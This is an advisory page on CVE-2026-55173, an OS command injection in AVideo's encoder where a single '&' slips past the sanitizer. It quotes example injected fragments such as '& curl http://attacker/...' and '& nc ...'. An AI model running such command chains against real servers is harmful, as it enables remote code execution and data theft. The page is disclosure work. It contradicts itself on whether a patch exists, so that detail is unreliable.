# CVE-2026-55173: AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink

> Incomplete sanitization allows OS command injection via single ampersand in AVideo, enabling remote code execution on the encoder server.

- **Severity:** High 8.1 (`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 16 Jul 2026
- **Updated:** 17 Jul 2026
- **Also known as:** GHSA-wc3f-xc32-435f

## What is CVE-2026-55173?

CVE-2026-55173 is a high-severity command injection vulnerability in WWBN AVideo, published on 16 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

Weakness: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

## Which versions are affected by CVE-2026-55173?

2 open source packages ship an affected version, including wwbn/avideo.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `wwbn/avideo` | Packagist | All versions to 29.0 | None |
| `wwbn/avideo` | Packagist | All versions to 29.0 | None |

## How do I fix CVE-2026-55173?

No fix has been published for CVE-2026-55173 yet. Limit exposure of the affected software until one is available.

## Is CVE-2026-55173 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-55173 exists.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-55173 and fix it if it is affected.

What it is: CVE-2026-55173 is a high-severity command injection vulnerability in WWBN AVideo, published on 16 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-55173 exists.

Affected packages and fixed versions:
- wwbn/avideo (Packagist): affected all versions up to 29.0; no fix listed
- wwbn/avideo (Packagist): affected all versions up to 29.0; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-55173/ (Markdown: https://insights.sbomify.com/CVE-2026-55173/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-55173
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-55173
- OSV: https://osv.dev/vulnerability/CVE-2026-55173

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-55173/
Summaries are generated and may contain mistakes; the official description above is the record.